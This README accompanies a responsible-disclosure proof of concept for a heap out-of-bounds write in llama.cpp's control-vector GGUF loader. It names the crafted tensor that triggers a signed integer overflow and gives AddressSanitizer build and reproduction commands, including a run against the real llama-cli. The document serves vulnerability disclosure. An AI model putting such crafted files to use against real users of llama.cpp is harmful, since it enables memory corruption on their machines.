| # PoC: heap OOB write in llama.cpp control-vector GGUF loader |
|
|
| `malicious_cv.gguf` triggers a **heap out-of-bounds write** in |
| `common_control_vector_load_one()` when llama.cpp loads it as a control vector |
| (`--control-vector`), via a signed-integer overflow in the buffer-size / |
| write-offset arithmetic. Responsible-disclosure PoC for a huntr report. **Not for malicious use.** |
|
|
| ## Files |
| - `malicious_cv.gguf` — malicious control-vector model: one tensor `direction.1431655766`, F32, `ne=[3]`. |
| - `craft_cv_gguf.py` — how it was generated (`pip install gguf`, then `python craft_cv_gguf.py`). |
| - `cv_load_harness.cpp` — minimal harness calling the public `common_control_vector_load()`. |
|
|
| ## Reproduce (Linux + AddressSanitizer) |
| ```bash |
| git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp |
| |
| # Build the WHOLE tree (incl. the `common` lib) with AddressSanitizer. |
| # (Note: -DGGML_SANITIZE_ADDRESS=ON alone only instruments ggml, NOT common — |
| # use global flags so the control-vector loader is instrumented.) |
| cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug \ |
| -DCMAKE_C_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \ |
| -DCMAKE_CXX_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \ |
| -DBUILD_SHARED_LIBS=OFF -DLLAMA_CURL=OFF -DGGML_NATIVE=OFF |
| cmake --build build-asan --target common -j"$(nproc)" |
| |
| # Build the harness against the ASan static libs (adjust .a paths to your tree). |
| g++ -fsanitize=address -g -I. cv_load_harness.cpp \ |
| build-asan/common/libcommon.a build-asan/src/libllama.a build-asan/ggml/src/*.a \ |
| -lpthread -lm -o cv_load_harness |
| |
| ./cv_load_harness malicious_cv.gguf |
| ``` |
|
|
| **Expected:** ASan reports `heap-buffer-overflow WRITE of size 4` in |
| `common_control_vector_load_one` (`common/common.cpp:1865`), located **4 bytes |
| before** the 8-byte buffer allocated by the overflowed `resize()` at |
| `common/common.cpp:1860`. The harness also prints `n_embd=3 data_size=2` |
| (the undersized buffer from the wrap). |
|
|
| `dst[j] += …` is a read-modify-write, so a normal (halting) ASan build reports |
| the OOB **read** first; build with `-fsanitize-recover=address` and run with |
| `ASAN_OPTIONS=halt_on_error=0` to also surface the **write**. |
|
|
| Also reproducible in the real tool: |
| `llama-cli -m <any model> --control-vector malicious_cv.gguf -p hi` under ASan. |
|
|
